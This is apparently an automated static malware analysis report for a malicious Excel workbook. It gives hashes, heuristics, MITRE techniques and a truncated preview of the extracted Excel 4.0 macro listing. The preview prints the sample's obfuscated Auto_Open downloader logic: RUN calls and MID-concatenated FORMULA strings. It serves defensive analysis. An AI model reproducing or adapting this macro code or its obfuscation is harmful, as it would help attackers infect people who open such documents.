Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 edd9f98db6d2f40a…

MALICIOUS

Office (OLE)

214.0 KB Created: 2020-05-19 09:38:42 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 0ba33e0050b0dc91677a719504714604 SHA-1: b24f0e02bc32c623c2985dc93575874a8f71f079 SHA-256: edd9f98db6d2f40a468f9d1008472bb03cdd4a1477115f3b056edd61c660d48d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros, specifically triggering an Auto_Open function. This function is configured to execute arbitrary commands via the RUN function, which is a critical finding. The macros are designed to run external commands, indicating a downloader or initial execution stage for a more complex attack. The specific commands are obfuscated but point to the execution of other code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39137 bytes
SHA-256: a030b189b94afd9cb43415d53811eb96f43d83be59c896869d155cac52a5a72b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iNGVG2h29GzTr7gMkWKUfZpF93zAr
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!CS36356 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,HS3098,"SET.VALUE(DI48907,"klmnopqrstuvwxyz{|}")",""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,HS3099,RUN(BO50071),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,IK4285,RUN(EA14478),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,DD4622,"FORMULA(MID(P64063,12,1)&MID(P64063,18,1)&MID(P64063,16,1)&MID(IG57937,8,1)&MID(IG57937,8,1)&MID(IA43678,9,1)&MID(IA43678,3,1)&MID(DI48907,11,1)&MID(DI48907,8,1)&MID(DI48907,2,1)&MID(DI48907,3,1)&MID(DI48907,5,1)&MID(DI48907,4,1)&MID(IA43678,3,1)&MID(IA43678,13,1)&MID(IA43678,3,1)&MID(IG57937,17,1)&MID(IG57937,14,1)&MID(IG57937,8,1)&MID(P64063,19,1)&MID(DI48907,5,1)&MID(DI48907,13,1)&MID(DI48907,4,1)&MID(DI48907,2,1)&MID(DI48907,5,1)&MID(HC37705,10,1)&MID(HC37705,13,1)&MID(IG57937,16,1)&MID(DI48907,5,1)&MID(IG57937,2,1)&MID(HC37705,18,1)&MID(DI48907,2,1)&MID(HC37705,14,1)&MID(P64063,16,1)&MID(IA43678,3,1)&MID(IA43678,13,1)&MID(IA43678,3,1)&MID(IG57937,6,1)&MID(IG57937,6,1)&MID(P64063,18,1)&MID(P64063,18,1)&MID(IG57937,6,1)&MID(IG57937,6,1)&MID(IA43678,3,1)&MID(IA43678,13,1)&MID(IA43678,17,1)&MID(IA43678,13,1)&MID(IG57937,14,1)&MID(HC37705,4,1)&MID(P64063,4,1)&MID(IA43678,18,1)&MID(P64063,3,1)&MID(P64063,3,1)&MID(P64063,7,1)&MID(HC37705,6,1)&MID(P64063,18,1)&MID(HC37705,4,1)&MID(P64063,2,1)&MID(P64063,7,1)&MID(HC37705,6,1)&MID(IA43678,13,1)&MID(IG57937,14,1)&MID(HC37705,4,1)&MID(P64063,2,1)&MID(P64063,5,1)&MID(P64063,5,1)&MID(IA43678,17,1)&MID(P64063,2,1)&MID(HC37705,6,1)&MID(P64063,18,1)&MID(HC37705,4,1)&MID(P64063,1,1)&MID(P64063,7,1)&MID(HC37705,6,1)&MID(IA43678,13,1)&MID(IA43678,17,1)&MID(IA43678,13,1)&MID(IA43678,17,1)&MID(IA43678,10,1),FZ6071)",""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,DD4623,RUN(FK47613),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,CG5143,RUN(BQ42651),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,FZ6072,GOTO(HK32454),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,JU6955,"FORMULA(MID(EB41720,12,1)&MID(CM52535,14,1)&MID(FZ7378,4,1)&MID(HG2711,14,1)&MID(HG2711,18,1)&MID(EB41720,8,1)&MID(EB41720,1,1)&MID(EB41720,2,1)&MID(HG2711,18,1)&MID(FZ7378,6,1)&MID(EB41720,18,1)&MID(FZ7378,4,1)&MID(EB41720,1,1)&MID(EB41720,3,1)&MID(HG2711,17,1)&MID(FZ7378,6,1)&MID(HG2711,7,1)&MID(CM52535,3,1)&MID(CM52535,1,1)&MID(CM52535,16,1)&MID(HG2711,15,1)&MID(CM52535,19,1)&MID(CM52535,11,1)&MID(CM52535,14,1)&MID(CM52535,7,1)&MID(CM52535,15,1)&MID(CM52535,12,1)&MID(EB41720,16,1)&MID(EB41720,18,1)&MID(CM52535,1,1)&MID(HG2711,9,1)&MID(EB41720,1,1)&MID(HG2711,10,1)&MID(HG2711,7,1)&MID(HG2711,3,1)&MID(FZ7378,5,1)&MID(CM52535,1,1)&MID(BE49205,14,1)&MID(FZ7378,12,1)&MID(FZ7378,14,1)&MID(BE49205,2,1)&MID(FZ7378,5,1)&MID(CM52535,15,1)&MID(FZ7378,14,1)&MID(FZ7378,12,1)&MID(BE49205,11,1)&MID(BE49205,8,1)&MID(FZ7378,18,1)&MID(BE49205,10,1)&MID(BE49205,15,1)&MID(HG2711,1,1)&MID(HG2711,3,1)&MID(HG2711,7,1)&MID(CM52535,14,1)&MID(FZ7378,4,1)&MID(EB41720,2,1)&MID(EB41720,2,1)&MID(EB41720,1,1)&MID(EB41720,6,1)&MID(HG2711,17,1)&MID(FZ7378,6,1)&MID(EB41720,18,1)&MID(FZ7378,4,1)&MID(HG2711,18,1)&MID(EB41720,2,1)&MID(EB41720,6,1)&MID(FZ7378,6,1)&MID(HG2711,7,1)&MID(HG2711,3,1)&MID(HG2711,1,1)&MID(HG2711,16,1)&MID(BE49205,15,1)&MID(HG2711,3,1),E21762)",""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,JU6956,GOTO(T28914),""
'  iNGVG2h29GzTr7gMkWKUfZpF93zAr,CQ8197,"FORMULA(MID(EB41720,12,1)&MID(HG2711,3,1)&MID(FZ7378,17,1)&MID(BE49205,10,1)&MID(BE49205,10,1)&MID(BE49205,6,1)&MID(BE49205,9,1)&MID(EB41720,9,1)&MID(HG2711,16,1)&MID(HG2711,16,1)&MID(FZ7378,13,1)&MID(BE49205,5,1)&MID(FZ7378,12,1)&MID(BE49205,9,1)&MID(HG2711,15,1)&MID(BE49205,3,1)&MID(FZ7378,18,1)&MID(FZ7378,12,1)&MID(BE49205,8,1)&MID(BE49205,5,1)&MID(BE49205,9,1)&MID(BE49205,5,1)&MID(FZ7378,15,1)&M
... (truncated)